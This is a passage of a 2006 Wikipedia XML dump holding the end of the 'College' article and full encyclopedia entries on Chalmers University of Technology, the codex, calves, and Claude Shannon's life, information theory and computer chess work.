Of late the government has been establishing [[Indian Institutes of Information Technology]] (IIITs) as specialized centres of excellence in the rapidly emerging field of Information Technology. They have been setup to educate professionals for the booming technology oriented market. 

=== Singapore ===
The term &quot;college&quot; in [[Singapore]] is generally only used for pre-university educational institutions called &quot;Junior Colleges&quot;, which provide the final two years of [[secondary education]] (equivalent to sixth form in English terms or grades 11-12 in the American system). Since [[1 January]] [[2005]], the term also refers to the three campuses of the [[Institute of Technical Education]] with the introduction of the &quot;collegiate system&quot;, in which the three institutions are called [[ITE College East]], [[ITE College Central]], and [[ITE College West]] respectively.

The term &quot;[[university]]&quot; is used to describe higher-education institutions offering locally-conferred degrees. Institutions offering diplomas are called &quot;[[polytechnic]]s&quot;, while other institutions are often referred to as &quot;institutes&quot; and so forth.

=== New Zealand ===
In [[New Zealand]] the word &quot;college&quot; normally refers to a newer [[Secondary education|secondary]] school for ages 13 to 17. In contrast, most older schools of the same type are &quot;high schools&quot;, and &quot;high schools&quot;. Also, single-sex schools are more likely to be &quot;Someplace Boys/Girls High School&quot;, but there are also very many coeducational &quot;high schools&quot;. There is no distinction between &quot;high schools&quot; and &quot;colleges&quot;.

Some older schools are more collegiate in nature, however: [[Christ's College, Canterbury]] is still in theory organised as a body of [[fellow]]s, and was a college of the Universities of [[University of New Zealand|New Zealand]] and [[University of Canterbury|Canterbury]]. [[Wellington College (New Zealand)|Wellington College]] also enjoys its right to be named a College by virtue of its affiliation with the former University of New Zealand. 

The constituent colleges of the former [[University of New Zealand]] (such as Canterbury University College) have become independent universities. Some halls of residence associated with New Zealand universities retain the name of &quot;college&quot;, particularly at the [[University of Otago]] (which although brought under the umbrella of the University of New Zealand, already possessed university status and degree awarding powers). The institutions formerly known as &quot;Teacher-training colleges&quot; now style themselves &quot;College of education&quot;.

Essentially the pattern of usage found in the United Kingdom is followed in New Zealand (refer: Royal Australasian College of Surgeons, R.A.C. of Physicians etc.).

== The non-English-speaking world ==
Some languages beyond English use words similar to &quot;college&quot;. (French, for example, has the [[Collège de France]].) However, in other languages, confusion is most likely to arise when an American is reading something translated by someone using British conventions, or ''vice versa''.

*In [[Germany]] a ''Hochschule'' is an institute of [[tertiary education]]. &quot;College&quot; is a more proper term to use than a direct translation: ''Hochschule'' literally means &quot;high school&quot;. German [[secondary education]] often takes place in an institution called in [[German language|German]] an ''Oberschule'', with its specific forms ''Hauptschule'', ''Realschule'', ''[[gymnasium (school)|Gymnasium]]'', and in some [[States of Germany|states]] also ''Gesamtschule'', together with vocational secondary education in ''Berufsschule'' (in [[North Rhine-Westphalia]] called ''Berufskolleg''). The term ''Kolleg'' (literally: college) is used in some [[States of Germany|states]] for institutions of [[Adult education|adult education]] where graduates of a ''Berufsschule'' can graduate with an [[Abitur]]. A ''Graduiertenkolleg'' is a German [[Graduate school]].
*In [[Sweden]] the term &quot;[[university college]]&quot; is used as an official English translation for ''högskola'', a term used for independent [[List of universities in Sweden|educational institutions]] providing [[tertiary education|tertiary]], but not [[quaternary education]]. Similarly to the situation in Germany, the [[Swedish (language)|Swedish]] term ''högskola'' literally means &quot;high school&quot;. The same term is also used for a number of institutions which function as specialized [[university|universities]] rather than as university colleges, providing quaternary education and conducting [[research]] (such as ''Kungliga Tekniska Högskolan'', the [[Royal Institute of Technology]]).
*In [[China]], [[Japan]], [[Korea]] and other East Asian nations, colleges and universities are collectively named &amp;#22823;&amp;#23416; or in simplified writing &amp;#22823;&amp;#23398;, which is a word originally introduced by [[Confucius]] with his influential book of the same name. The original word and subsequently the book's title is most frequently translated to &quot;[[Great Learning|The Great Learning]]&quot;. Today's pronunciation of this word is country- and sometimes region- specific and includes ''daxue'' and ''daigaku''. In Japan, ''daigaku'' is usually considered distinct from ''senmon gakkou'' (&amp;#23554;&amp;#38272;&amp;#23398;&amp;#26657;), which is more of a [[Post-secondary education|post-secondary]] ''[[Vocational education|vocational school]]''. In [[China]], the college students are selected through the annual [[National College Entrance Examination]].
*In [[Belgium]], the term '''college''' is used for institutes of [[secondary education]], more in particular for [[Roman Catholic Church|Catholic]] schools ([[official]] secondary schools are called ''[[atheneum]]''). For [[tertiary education]], the difference is made between ''hogeschool'' (which literally means ''high school'') and [[university]]. With the current reform of higher education under the [[Bologna process]], the ''hogeschool'' institutions now offer [[professional]] [[bachelor's degree|bachelor's degrees]] (three years study in one cycle) as well as professional [[master's degree|master's degrees]] (one year study in addition to the professional bachelor's degree). Universities offer [[academic]] [[bachelor's degree|bachelor's degrees]] (three years study in one cycle) and academic [[master degree|master's degrees]] (one or two years study in addition to the academic bachelor's degree). Recent government measures have brought the ''hogeschool'' institutions to associate with an university in order to ''academize'' their curriculum and to get involved in applied research projects.
*In [[France]], '''collège''' generally refers to a ''[[middle school]]'' or ''junior high school''. However, it can also be used in a manner more similar to that of English, such as in the term ''[[electoral college]]'' or the [[Collège de France]]. The latter use, though, is not as common.
*In [[Greece]] the term college is mainly used to refer to private secondary education institutions (high schools and junior high schools), while &amp;#928;&amp;#945;&amp;#957;&amp;#949;&amp;#960;&amp;#953;&amp;#963;&amp;#964;&amp;#942;&amp;#956;&amp;#953;&amp;#959; (University) is the term utilized for Higher Education.
*In [[Hungary]] the term &quot;kollégium&quot; refers to a [[dormitory]] that may or may not be independent from an educational institution; it can also refer to a university's autonomous student organisation, dedicated to the advanced study of a certain science, topic etc, for example the [[College for Social Theory]].
*In [[the Netherlands]] the term '''college''' is used for institutes of [[secondary education]]. The term '''college''' is also used for classes or lectures at university.
*In some [[Cantons_of_Switzerland|cantons]] of the French speaking part of [[Switzerland]] and also on the border to the [[Swiss German]] speaking part (i.e. in [[Fribourg]]) the French term “Collège” (German: Kollegium) is used for the [[Gymnasium (school)|Gymnasium]] (10th to 13th grade) which lends to the [[matura]]. It is also used as a name for the physical building in which obligatory education takes place (e.g., ''Le collège des coteaux'').

==See also==
*[[Career college]]
*[[Community college]]
*[[Junior College]]
*[[Residential college]]
*[[Sixth form college]]
*[[University college]]
*[[University]]
*[[List of colleges and universities]]
*[[Electoral college]]
*[[College of Cardinals]]
*[[House system]]

==External links==
*[http://www.cambridgecolleges.com CICP - English Courses and Vocational Courses to Australian and Overseas Students]

*[http://www.resumeminers.com/universities-by-degree-program.htm University Degree Programs in USA]

==References==
{{unsourced}}

[[Category:Educational stages]]
[[Category:School types]]
[[category:Colleges and universities|*]]

[[da:Seminarium]]
[[de:College]]
[[es:College]]
[[fr:Collège]]
[[ja:単科大学]]
[[yi:קאלעדזש]]
[[nl:Hogeschool]]
[[pl:college]]
[[pt:Faculdade]]
[[sv:College]]
[[th:วิทยาลัย]]</text>
    </revision>
  </page>
  <page>
    <title>Chalmers University of Technology</title>
    <id>5690</id>
    <revision>
      <id>40166089</id>
      <timestamp>2006-02-18T17:50:35Z</timestamp>
      <contributor>
        <username>Caesar</username>
        <id>83777</id>
      </contributor>
      <minor />
      <comment>/* People */</comment>
      <text xml:space="preserve">{{Infobox_University
|name            =Chalmers University of Technology
|native_name     =Chalmers tekniska högskola
|latin_name      =
|image           =[[Image:Chalmers_logo.png|225px|Logo of Chalmers University of Technology]]
|motto           =Avancez
|established     =[[1829]]
|type            =Private University
|city            =[[Gothenburg]]
|state           =
|country         =[[Sweden]]
|enrollment      =
|undergrad       =10,500
|postgrad        =
|doctoral        =1,000
|staff           =2,500
|president       =Prof. [[Jan-Eric Sundgren]]
|campus          =Urban
|colors          =
|colours         =
|mascot          =
|affiliations    =[[EUA]]
|free_label      =
|free            =
|website         =http://www.chalmers.se/
}}
'''Chalmers University of Technology''' or '''Chalmers tekniska högskola''' ('''CTH'''), often '''Chalmers''', is a [[university]] in [[Gothenburg]], [[Sweden]]. 

==History==
Founded in [[1829]] following a donation by [[William Chalmers]], a director of the [[Swedish East India Company]], and being run as a private institution until [[1937]], when the institute became a state owned university. In [[1994]] the school once again became a private institution, owned by a foundation.

==Schools==
&lt;!-- The Schools at Chalmers are the equivalents to Faculties at non-technical universities. They are components of the organizational structure of the university and not study programs. --&gt;

The organization is divided into schools, corresponding to faculties.

*Architecture
*Chemical and Biological Engineering
*Civil Engineering
*Computer Science and Engineering
*Electrical Engineering
*Environmental Science
*Mathematical Sciences
*Mechanical Engineering
*Physics and Engineering Physics
*Technology Management and Economics

There is also a [[Chalmers Lindholmen University College|University College]] affilliated with the university.

==Students==
Approximately 40 per cent of Sweden's graduate engineers and architects were educated at Chalmers. Each year around 250 post graduate degrees are awarded as well as 850 graduate degrees. About 1 000 post-graduate students attend programmes at the university and many students are taking Master of Science engineering programmes and the Master of Architecture programme. 

'''Master's degrees'''
* Advanced Materials
* Applied Environmental Measurement Techniques  
* Architecture
* Automotive Engineering  
* Automotive Industrial Design Engineering
* Automation and Mechatronics Engineering
* Bio Engineering
* [http://www.math.chalmers.se/Stat/Bioinfo/Master/ Bioinformatics]
* Chemical Engineering
* Chemical Engineering with Engineering Physics
* Civil Engineering
* [http://frt.fy.chalmers.se/cs/cas/Main.html Complex Adaptive Systems]
* Computer Science and Engineering
* [http://www.cs.chalmers.se/Cs/Education/dcs/ Dependable Computer Systems]
* Digital Communication Systems and Technology 
* Electric Power Engineering 
* Electrical Engineering
* Engineering Mathematics
* Engineering Physics
* Environmentally Sustainable Process Technology 
* Hardware for Wireless Communication
* Information Engineering (Software Engineering)
* Industrial Design Engineering
* Industrial Ecology http://www.fy.chalmers.se/edu/imp/ie.xml
* Industrial Engineering and Management
* Management and Economics of Innovation 
* Management of Logistics and Transportation
* Mechanical Engineering
* Microsystem Integration Technology
* [http://www.elm.chalmers.se/nano/NSThome/NanoST.html Nanoscale and Technology]
* Naval ArchitectureProduction and Operations Management
* Production and Operations Management
* Quality Technology and Management
* Radio Astronomy and Space Science 
* Sound and Vibration
* Structural Engineering 
* Supply Chain Design and Management
* [http://www.tfd.chalmers.se/imp/ Turbulence]

Around 2 700 are also attending Bachelor of Science engineering programmes, merchant marine and other undergraduate courses at the [[Chalmers Lindholmen University College]].

==Faculty==
==Campus==
In 1937 the school was moved out of the city center to the new Gibraltar Campus, named after the mansion which owned the grounds, where it now is located. The [[Chalmers Lindholmen University College|Lindholmen College Campus]] was created in the early [[1990s]] and is located on the island of [[Hisingen]].

==Societies and traditions==
* [[Chalmers Students' Union]]
* [[Chalmers Computer Society]]
* [[Chalmers Aerospace Club]]
* [[Cetac]]
* [[Chalmers Choir]]

==People==
* [[Abraham Langlet]], chemist
* [[Gustaf Dalén]], [[Nobel Prize in Physics|Nobel Prize]] Laureate
* [[Leif Johansson]], CEO [[Volvo]]
* [[Peter Augustsson]], CEO [[Saab Automobile]]
* [[Sigfrid Edström]], director [[ASEA]], president [[International Olympic Committee|IOC]]

===Rectors (Presidents)===
''Although the official Swedish title for the head is &quot;rektor&quot;, the university now uses &quot;President&quot; as the English translation.''

&lt;table cellspacing=&quot;4&quot; cellpadding=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td&gt;1829-1852 &lt;/td&gt;
&lt;td&gt;[[Carl Palmstedt]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1852-1881 &lt;/td&gt;
&lt;td&gt;[[Eduard von Schoultz]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1881-1913 &lt;/td&gt;
&lt;td&gt;[[August Wijkander]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1913-1933 &lt;/td&gt;
&lt;td&gt;[[Hugo Grauers]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1934-1943 &lt;/td&gt;
&lt;td&gt;[[Sven Hultin]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1943-1958 &lt;/td&gt;
&lt;td&gt;[[Gustav Hössjer]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1958-1966 &lt;/td&gt;
&lt;td&gt;[[Lennart Rönnmark]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1966-1974 &lt;/td&gt;
&lt;td&gt;[[Nils Gralén]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1974-1989 &lt;/td&gt;
&lt;td&gt;[[Sven Olving]]&lt;/td&gt;
&lt;tr&gt;
&lt;td&gt;1989-1998 &lt;/td&gt;
&lt;td&gt;[[Anders Sjöberg]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1998-     &lt;/td&gt;
&lt;td&gt;[[Jan-Eric Sundgren]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

==See also==
* [[Gothenburg University]]
* [[IT University of Göteborg]]
* [[Luleå University of Technology]]
* [[Royal Institute of Technology]]
* [[Umeå Institute of Technology]]
* [[List of universities in Sweden]]

==External links==
* [http://www.chalmers.se/ Chalmers University of Technology] - Official site
* [http://www.chs.chalmers.se/ Chalmers Student Union]
* [http://www.cing.chalmers.se/ Chalmers Alumni Association]

[[Category:Universities and colleges in Sweden]]
[[Category:Technical universities]]
[[Category:Higher education in Gothenburg]]
[[Category:Gothenburg]]

[[de:Chalmers tekniska högskola]]
[[fr:Chalmers tekniska högskola]]
[[nl:Chalmers]]
[[sv:Chalmers tekniska högskola]]</text>
    </revision>
  </page>
  <page>
    <title>Codex</title>
    <id>5691</id>
    <revision>
      <id>40758505</id>
      <timestamp>2006-02-22T20:59:42Z</timestamp>
      <contributor>
        <username>Brighterorange</username>
        <id>219031</id>
      </contributor>
      <minor />
      <comment>style of dab links</comment>
      <text xml:space="preserve">:''For the army books from the [[Warhammer 40,000]] game, see [[Codex (Warhammer 40,000)]]. For the [[Halo (video game series)|Halo]] [[machinima]] series see: [[The Codex]]''

[[Image:Codex Argenteus.jpg|thumb|first page of the Codex Argenteus]]A '''codex''' ([[Latin]] for ''[[book]]''; plural ''codices'') is a handwritten book from late [[Classical antiquity|Antiquity]] or the [[Early Middle Ages]].  Although the Romans used the codex and similar precursors made of wood for taking notes and other informal writings, the first recorded use of the codex for literary works dates  from the late [[first century]], when [[Martial]] experimented with the format.  At that time, the roll (also called a [[scroll (parchment)|scroll]]) was the dominant medium for literary works and would remain dominant for secular works until the [[4th century]]. As far back as the early [[2nd century]], there is evidence that the codex was the preferred format among [[Christianity|Christians]], while other religions preferred the roll. The Christian codex was made of [[papyrus]], more compact and better suited for people on the move than [[parchment]]. 

From the 4th century, when the codex gained wide acceptance to the [[Carolingian Renaissance|Carolingian Revival]] in the [[8th century]] many works were not converted from scroll to codex and were lost to posterity. The designation ''Codex'' is less used in conventional names given Medieval manuscripts, when the codex form is universal and understood. 

The correct Latin plural is ''codices'', although ''codexes'' is also often used as a plural form in [[English language|English]].  The codex was an improvement over the [[scroll (parchment)|scroll]], because it can be opened flat at any page,  allowing easier reading, and pages can be written on both sides. 

The modern codex book owes a lot to the innovations of [[Aldus Manutius]] who introduced the compact format book that could be carried in a saddlebag and italic type as a means of increasing print density. 

The introduction of page numbers some time in the 1600s allowed for [[cross reference]]s to be made more easily. 
 
The codex also made it easier to organize documents in a [[library]] because it had a stable spine on which the title of the book could be written, and later read when books were arranged upright on shelves.  The spine could be used for the [[incipit]], before the concept of a proper title was developed, during medieval times. 

Medieval book makers used [[parchment]] or [[vellum]] for their pages, which made them very durable, but extremely expensive. Early codices were also made from papyrus, however papyrus is too fragile to be repeatedly folded.  The scholarly study of [[manuscript]]s from the point of view of book-making is called [[codicology]].  The study of ancient documents in general is called [[paleography]].

The books of [[Pre-Columbian]] [[Mesoamerica]] had basically the same form, with long folded strips of paper (usually made from either wood bark or plant fibers, often with a layer of [[whitewash]] applied before writing), hence the ancient books of the [[Maya civilization|Maya]], [[Aztec]], and [[Mixtec]] peoples, among others, are also known as codices. See also: [[Maya codices]].

A legal text or code of conduct is sometimes called a '''codex''' (for example, the ''Justinian Codex''), since laws were recorded in large codices.

==Some codices==
Codices are usually named for their most famous resting-place, whether a city or a private library. An example of a somewhat later codex than these would be the [[Book of Kells]].

*[[Codex Abrogans]]	
*[[Codex Alexandrinus]]	
*[[Codex Alimentarius]]
*[[Codex Alimentarius Austriacus]]	
*[[Codex Amiatinus]]	
*[[Codex Argenteus]]
*[[Codex Astensis]]	
*[[Codex Aureus of St. Emmeram]]
*[[Codex Aureus of Lorsch]]
*[[Codex Berolinensis]]
*[[Codex Bezae]]
*[[Codex Claromontanus]]	
*[[Codex Cumanicus]]	
*[[Codex Ephraemi Rescriptus]]
*[[Codex Exoniensis]]	
*[[Codex Flatoiensis]]	
*[[Codex Gigas]]
*[[Codex Hammer]]	
*[[Codex Hierosolymitanus]]	
*[[Codex Justinianus]]
*[[Codex Leicester]]	
*[[Codex Manesse]]	
*[[Codex Maximilianeus bavaricus civilis]]
*[[Codex Mendoza]]	
*[[Codex Pisanus]]	
*[[Codex Regius]]
*[[Codex Runicus]]
*[[Codex Sinaiticus]]	
*[[Codex Theodosianus]]	
*[[Codex Usserianus Primus]]
*[[Codex Vaticanus]]	
*[[Codex Wallerstein]]
*[[Codex Zamoscianus]]
*[[Codex Zouche-Nuttall]]
*[[Codex ms. 3227a]]	
*[[Leningrad Codex]]
*[[Nowell Codex]]
*[[Rohonczi Codex]]
*[[Aleppo Codex]]
*[[Nag Hammadi library]], collection of [[Early Christianity|early Christian]] [[Gnostic]] texts in codex form discovered in the town of [[Nag Hammadi]].

==Codex in Open Source==
The word &quot;codex&quot; has also been used to refer to a developer's guidebook for an open source software project.  [http://codex.wordpress.org/ WordPress] and [http://codex.gallery2.org the Gallery project] are examples.

==See also==
*[[Codicology]]
*[[Paleography]]
*[[Philology]]

----
The '''codex''' is the songbook used at a [[cantus]].

[[Category:Books by type]]
[[Category:Manuscripts]]

[[cs:Kodex]]
[[de:Kodex]]
[[es:Códice]]
[[fr:Codex]]
[[he:מצחף]]
[[nl:Codex]]
[[pl:Kodeks (bibliologia)]]
[[sv:Codex]]
[[uk:Рукописна книга]]</text>
    </revision>
  </page>
  <page>
    <title>Calf</title>
    <id>5692</id>
    <revision>
      <id>39098265</id>
      <timestamp>2006-02-10T18:31:38Z</timestamp>
      <contributor>
        <ip>88.106.238.31</ip>
      </contributor>
      <comment>Link to rennet added</comment>
      <text xml:space="preserve">''For the anatomical feature, see [[calf muscle]].''

[[Image:Calf.jpg|thumb|Cattle calf]]

'''Calves''' are young [[animal]]s.  The term is mainly used for [[cattle]], although [[deer]], [[whale]]s and [[elephant]]s also have calves.

A cattle calf is a child of a [[cattle|cow]] and a [[bull]] and a calf that has lost its mother is referred to as a ''dogie''. The plural is calves.  With respect to cattle calves, calf meat is called [[veal]]; fine calf skin used for [[page (paper)|page]]s in early [[codex]]es is called [[pergamon]].  The fourth stomach of slaughtered milk fed calves is the source of [[rennet]]. Calves feed from their mother's udders for a few weeks before eating solid food.

[[Image:Cow with calf dsc06514.jpg|thumb|left|200px|A suckling calf with its mother]]

[[Image:Dairy calf pens 8688.jpg|thumb|350 px|left|A modern [[dairy]] farm with calf pens in front, [[Elba, New York]]]]

{{mammal-stub}}

[[ca:Vedella]]
[[da:Kalv (dyreunge)]]
[[de:Kalb]]
[[es:Novillo]]
[[fr:Veau]]
[[sv:Kalv]]</text>
    </revision>
  </page>
  <page>
    <title>Claude Elwood Shannon</title>
    <id>5693</id>
    <revision>
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      <text xml:space="preserve">[[Image:Shannon.jpg|400px|thumb|right|Claude Shannon]]
'''Claude Elwood Shannon''' ([[April 30]], [[1916]] &amp;ndash; [[February 24]], [[2001]]), an [[United States|American]] [[electrical engineer]] and [[mathematician]], has been called &quot;the father of [[information theory]]&quot;, and was the founder of practical [[digital circuit]] design theory.

==Biography==
Shannon was born in [[Gaylord, Michigan]] and was a distant relative of [[Thomas Edison]]. While growing up, he worked as a messenger for [[Western Union]].

In [[1932]], Shannon entered the [[University of Michigan]], where he eventually took a course that introduced him to the works of [[George Boole]].  He graduated in [[1936]] with two [[bachelor's degree]]s, one in [[electrical engineering]] and one in [[mathematics]], then began graduate study at the [[Massachusetts Institute of Technology]], where he worked on [[Vannevar Bush]]'s [[differential analyzer]], an [[analog computer]].
 
While studying the complicated ad hoc circuits of the differential analyzer, Shannon saw that Boole's concepts could be used to great utility. A paper drawn from his [[1937]] master's [[thesis]], ''[[A Symbolic Analysis of Relay and Switching Circuits]]'', was published in the [[1938]] issue of the ''Transactions of the American Institute of Electrical Engineers''. It also earned Shannon the &lt;!-- PLEASE DO NOT CONFUSE WITH THE NOBEL PRIZE--&gt;[[Alfred Noble Prize|Alfred Noble American Institute of American Engineers Award]] in [[1940]]. [[Howard Gardner]], of [[Harvard University]], called Shannon's thesis &quot;possibly the most important, and also the most famous, master's thesis of the century&quot;.  

In this work, Shannon proved that [[Boolean algebra]] and [[binary arithmetic]] could be used to simplify the arrangement of the electromechanical [[relays]] then used in telephone routing switches, then turned the concept upside down and also proved that it should be possible to use arrangements of relays to solve Boolean algebra problems. Exploiting this property of electrical switches to do logic is the basic concept that underlies all electronic digital computers. Shannon's work became the foundation of practical [[digital circuit]] design when it became widely known among the electrical engineering community during and after [[World War II]]. The theoretical rigor Shannon's work supplied completely replaced the &quot;ad hoc&quot; methods that had prevailed heretofore.

Flush with this success, Vannevar Bush suggested that Shannon work on his dissertation at [[Cold Spring Harbor Laboratory]], funded by the Carnegie Institution headed by Bush, to develop similar mathematical relationships for [[Gregor Mendel|Mendelian]] [[genetics]], which resulted in Shannon's [[1940]] [[PhD]] thesis at MIT, ''[[An Algebra for Theoretical Genetics]].''  Shannon then joined [[Bell Labs]] to work on fire-control systems and cryptography during World War II.  He returned to MIT to hold an endowed chair in 1956.

In [[1948]] Shannon published ''[[A Mathematical Theory of Communication]]'' in two parts in the July and October numbers of the ''[[Bell System Technical Journal]]''.  This work focuses on the problem of how to best encode the [[information]] a sender wants to transmit.  In this fundamental work he used tools in probability theory, developed by [[Norbert Wiener]], which were in their nascent stages of being applied to communication theory at that time.  Shannon developed [[information entropy]] as a measure for the uncertainty in a message while essentially inventing what became known as the dominant form of &quot;information theory.&quot; 
The book co-authored with [[Warren Weaver]], ''The Mathematical Theory of Communication'', reprints Shannon's 1948 article and Weaver's popularization of it, which is accessible to the non-specialist. Shannon's concepts were also popularized, subject to his own proofreading, in [[John Robinson Pierce]]'s ''Symbols, Signals, and Noise''.

Another notable paper published in [[1949]] is ''[[Communication Theory of Secrecy Systems]]'', a major contribution to the development of a mathematical theory of [[cryptography]].  He is also credited with the introduction of [[Nyquist-Shannon_sampling_theorem|Sampling Theory]], which is concerned with representing a continuous-time signal from a (uniform) discrete set of samples.

Outside of his academic pursuits, Shannon was interested in [[juggling]], [[unicycling]], and [[chess]].  He also invented many devices, including a rocket-powered pogo stick, a wearable computer to predict the result of playing [[roulette]] [http://c2000.cc.gatech.edu/classes/cs8113c_99_spring/readings/thorp.pdf], and a flame-throwing trumpet for a science exhibition.  One of his more humorous devices was a box he kept on his desk with a single switch on the side.  When the switch was flipped, the lid of the box opened and a mechanical hand reached out, flipped off the switch, then retracted back inside the box.

From [[1956]] to [[1978]] he was a professor at [[Massachusetts Institute of Technology|MIT]].  To commemorate his achievements, there were celebrations of his work in 2001, and there are currently four statues of Shannon:  one at the [[University of Michigan]], one at [[Massachusetts Institute of Technology|MIT]] in the [[MIT Laboratory for Information and Decision Systems| Laboratory for Information and Decision Systems]], one in [[Gaylord, Michigan]] and another at Bell Labs.  After the breakup of the Bell system, the part of Bell Labs that remained with [[AT&amp;T]] was named Shannon Labs in his honor.

[[Robert G. Gallager|Robert Gallager]] has called Shannon the greatest scientist of the [[20th century]]. According to AT&amp;T fellow Neil Sloane, the perspective introduced by Shannon's &quot;communication theory&quot; (now called &quot;information theory&quot;) is the foundation of the digital revolution and every device containing a microprocessor or microcontroller is a conceptual descendant of Shannon's 1948 publication &lt;ref&gt;[http://www.nj.com/printer/printer.ssf?/page1/ledger/127960e.html C. Shannon, a genius of digital life] (''[[Star-Ledger|The Star-Ledger]]'', [[27 February]], [[2001]])&lt;/ref&gt;.

He met his wife Betty when she was a numerical analyst at [[Bell Labs]].

==Shannon's computer chess program==
In 1950 Shannon published a groundbreaking paper on [[computer chess]] entitled ''Programming a Computer for Playing Chess''.  It describes how a machine or computer could be made to play a reasonable game of [[chess]].  His process for having the computer decide on which move to make is a [[minimax]] procedure, based on an [[evaluation function]] of a given chess position.  Shannon gave a rough example of an evaluation function in which the value of the black position was subtracted from that of the white position.  ''Material'' was counted according to the usual relative [[chess piece point value]] (1 point for a pawn, 3 points for a knight or bishop, 5 points for a rook, and 9 points for a queen).  He considered some positional factors, subtracting &amp;frac12; point for each [[Doubled pawns|doubled pawn]], [[backward pawn]], and [[isolated pawn]].  Another positional factor in the evaluation function was ''mobility'', adding 0.1 point for each legal move available.  Finally, he considered [[checkmate]] to be the capture of the king, and gave it the artificial value of 200 points.  Quoting from the paper:

:''The coefficients .5 and .1 are merely the writer's rough estimate. Furthermore, there are many other terms that should be included. The formula is given only for illustrative purposes. Checkmate has been artificially included here by giving the king the large value 200 (anything greater than the maximum of all other terms would do).''

The evaluation function is clearly for illustrative purposes, as Shannon stated.  For example, according to the function, pawns that are doubled as well as isolated would have no value at all, which is clearly unrealistic.

The reason for assigning checkmate a value higher than the maximum sum of all other terms is so that the minimax procedure will value checkmate above all else and thus it will sacrifice as much material as it has to in order to prevent itself from being checkmated, or to checkmate the opponent.  The value is arbitrary — any number larger than the sum of all of the other terms would cause the minimax procedure to give the same result.

==Awards and honors==
*[[Alfred Noble Prize]] in [[1940]]
*[[Morris Liebmann]] Memorial Award of the [[Institute of Radio Engineers]] in [[1949]]
*[[Yale University]] (Master of Science) in [[1954]]
*[[Stuart Ballantine]] Medal of the [[Franklin Institute]] in [[1955]]
*[[Research Corporation Award]] in [[1956]]
*[[University of Michigan]], honorary doctorate, in [[1961]]
*[[Rice University]] Medal of Honor in [[1962]]
*[[Princeton University]], honorary doctorate, in [[1962]] 
*[[Marvin J. Kelly Award]] in [[1962]]
*[[University of Edinburgh]], honorary doctorate, in [[1964]]
*[[University of Pittsburgh]], honorary doctorate, in [[1964]]
*[[Institute of Electrical and Electronics Engineers]] Medal of Honor in [[1966]]
*[[National Medal of Science]] in [[1966]], presented by President [[Lyndon B. Johnson]]
*Golden Plate Award in [[1967]]
*[[Northwestern University]], honorary doctorate, in [[1970]]
*[[Harvey Prize]], the [[Technion]] of [[Haifa]], [[Israel]], in [[1972]]
*[[Royal Netherlands Academy of Arts and Sciences]] (KNAW), foreign member, in [[1975]]
*[[University of Oxford]], honorary doctorate, in [[1978]]
*[[Joseph Jacquard]] Award in [[1978]]
*[[Harold Pender]] Award in [[1978]]
*[[University of East Anglia]], honorary doctorate, in [[1982]]
*[[Carnegie Mellon University]], honorary doctorate, in [[1984]]
*[[Audio Engineering Society]] Gold Medal in [[1985]]
*[[Kyoto Prize]] in [[1985]]
*[[Tufts University]], honorary doctorate, in [[1987]]
*[[University of Pennsylvania]], honorary doctorate, in [[1991]]
*[[Eduard Rhein]] Prize in [[1991]]
*[[National Inventors Hall of Fame]] inducted in [[2004]]

==See also==
* [[Shannon-Fano coding]]
* [[Shannon-Hartley law]]
* [[Nyquist-Shannon sampling theorem]]
* [[Shannon capacity]]
* [[Rate distortion theory]]
* [[Information theory]]
* [[Confusion and diffusion]]
* [[One-time pad]]
* [[Shannon switching game]]
* [[Shannon number]]
* [[Claude E. Shannon Award]]

==References==
&lt;references/&gt;
* C. E. Shannon: ''A mathematical theory of communication.'' Bell System Technical Journal, vol. 27, pp. 379&amp;ndash;423 and 623&amp;ndash;656, July and October, 1948.

* Claude E. Shannon and Warren Weaver: ''The Mathematical Theory of Communication.'' The University of Illinois Press, Urbana, Illinois, 1949. ISBN 0252725484

* Claude E. Shannon: ''Programming a Computer for Playing Chess'', Philosophical Magazine, Ser.7, Vol. 41, No. 314, March 1950. (Available online under ''External links'' below)

* David Levy: ''Computer Gamesmanship: Elements of Intelligent Game Design'', Simon &amp; Schuster, 1983.  ISBN 0-671-49532-1

==External links==
*[http://cm.bell-labs.com/cm/ms/what/shannonday/paper.html ''A Mathematical Theory of Communication'']
*[http://www.cs.ucla.edu/~jkong/research/security/shannon1949.pdf ''Communication Theory of Secrecy Systems'']
*[http://www.stanford.edu/class/ee104/shannonpaper.pdf ''Communication in the Presence of Noise'']
*[http://www.lucent.com/minds/infotheory/who.html Summary of Shannon's life and career]
*[http://www-history.mcs.st-andrews.ac.uk/Mathematicians/Shannon.html Another Summary]
*[http://www.research.att.com/~njas/doc/shannonbio.html Biographical summary from Shannon's collected papers]
*[http://www.ucsd.tv/search-details.asp?showID=6090 Video documentary: &quot;Claude Shannon - Father of the Information Age&quot;]
*[http://web.mit.edu/6.933/www/Fall2001/Shannon1.pdf Mathematical Theory of Claude Shannon] In-depth MIT class paper on the development of Shannon's work to 1948.
*[http://web.mit.edu/newsoffice/nr/2001/shannon.html Obituary at MIT]
*[http://www.exp-math.uni-essen.de/~immink/pdf/levensbericht-shannon.pdf Obituary Royal Netherlands Academy of Sciences (in Dutch)]
*[http://www.engin.umich.edu/150th/alum-legends/shannon.html Retrospective at the University of Michigan]
*[http://www.nightgarden.com/infosci.htm Notes on Computer-Generated Text]
*[http://www.nightgarden.com/shannon.htm Shannonizer An example of his work]
*[http://www2.bc.edu/~lewbel/Shannon.html Shannon's Juggling Theorem and Juggling Robots]
*[http://www.pi.infn.it/%7Ecarosi/chess/shannon.txt Shannon's paper on computer chess, text]
*[http://www.ascotti.org/programming/chess/Shannon%20-%20Programming%20a%20computer%20for%20playing%20chess.pdf Shannon's paper on computer chess] ([[Portable Document Format|PDF]])
*[http://www.dcc.uchile.cl/~cgutierr/cursos/IA/shannon.txt Shannon's paper on computer chess, text, alternate source]
